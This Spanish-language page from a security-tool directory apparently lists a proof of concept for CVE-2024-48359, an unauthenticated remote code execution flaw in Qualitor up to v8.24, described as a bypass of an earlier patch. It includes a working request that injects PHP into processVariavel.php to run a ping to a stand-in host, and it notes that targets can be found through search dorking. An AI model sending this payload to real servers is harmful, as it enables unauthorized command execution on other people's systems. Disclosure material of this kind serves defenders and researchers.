Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-48359 — CVE-2024-48359 PoC | Kitploit
Herramientas/GitHubGitHub/openxp-research/cve-2024-48359
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubopenxp-research/cve-2024-48359

CVE-2024-48359

CVE-2024-48359 PoC

Ver Repositorio
112hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-48359 - Qualitor <= v8.24 PoC de RCE no autenticado

CVE-2024-48359 | Qualitor <= v8.24 RCE

Descripción

Qualitor es una plataforma para la gestión de procesos de negocio, y este sistema está presente en varias empresas de Brasil que se pueden identificar simplemente mediante el uso de Google dorking.

Nuestro equipo identificó una vulnerabilidad en la aplicación susceptible a la ejecución remota de código (RCE), que permite la ejecución remota de comandos del sistema.

Se trata de un bypass para el parche de CVE-2023-47253.

Prueba de Concepto (POC)

Simplemente envíe un código PHP en la página processVariavel.php, ej.: /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

imagen

Investigadores

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

  • Equipo de Investigación OpenXP
Descargar herramienta